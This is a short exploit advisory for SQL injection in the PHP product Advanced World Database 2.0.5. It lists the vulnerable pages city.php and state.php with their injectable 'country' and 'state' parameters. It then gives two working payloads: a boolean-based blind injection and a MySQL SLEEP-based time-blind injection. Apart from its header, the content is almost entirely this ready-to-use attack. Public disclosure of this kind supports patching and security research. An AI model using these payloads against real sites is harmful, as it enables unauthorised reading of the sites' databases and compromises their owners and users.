Advanced World Database 2.0.5 SQL Injection

`# # # # #   
# Exploit Title: Advanced World Database 2.0.5 - SQL Injection  
# Dork: N/A  
# Date: 10.12.2017  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/advanced-world-database/  
# Version: 2.0.5  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/city.php?country=[SQL]&state=[SQL]  
# http://localhost/[PATH]/state.php?country=[SQL]  
#   
# Parameter: country (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: country=Russian Federation' AND 6933=6933 AND 'kVcM'='kVcM&state=Moskva  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: country=Russian Federation' AND SLEEP(5) AND 'ZbHT'='ZbHT&state=Moskva  
#   
# # # # #  
  
`